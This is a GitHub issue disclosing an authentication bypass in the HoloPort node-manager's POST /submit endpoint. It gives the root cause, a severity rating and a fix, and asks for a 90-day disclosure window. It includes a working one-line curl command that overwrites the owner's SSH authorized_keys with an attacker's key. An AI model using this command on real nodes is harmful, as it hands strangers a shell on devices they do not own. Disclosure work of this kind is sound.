Skip to content

Security Disclosure: POST /submit auth bypass allows SSH key injection on already-onboarded HoloPort #3

Description

@futurehelp

SECURITY DISCLOSURE -- HoloPort node-manager POST /submit Auth Bypass (SSH Key Injection)

The node-manager service on every deployed HoloPort (port 8080) accepts unauthenticated POST requests to /submit after the node is already onboarded. An attacker on the same network can overwrite the owner's SSH authorized_keys file and gain full shell access.

Root cause: src/main.rs routing table applies is_authenticated to every management route except POST /submit. There is no state.onboarded guard either. write_ssh_keys at line 195 overwrites (not appends) the entire authorized_keys file.

Attack (one command, no auth):

curl -X POST http://<holo-node-ip>:8080/submit \
  -H "Content-Type: application/json" \
  -d '{"nodeName":"victim-node","sshKey":"ssh-ed25519 AAAA<attacker-key>","hwMode":"STANDARD"}'

Returns {"status":"ok"} on an already-onboarded node. Legitimate owner's SSH keys erased. Attacker gets full shell on HoloPort.

Severity: P2 (High) on LAN, Critical if port 8080 is internet-exposed.

Recommended fix: Add if state.onboarded { return 403; } at the top of handle_submit.

Coordinated disclosure. Requesting 90-day window before publishing.

-- Independent security researcher

Metadata

Metadata

Assignees

No one assigned

    Labels

    No labels
    No labels

    Type

    No type

    Projects

    No projects

    Milestone

    No milestone

    Relationships

    None yet

    Development

    No branches or pull requests

    Issue actions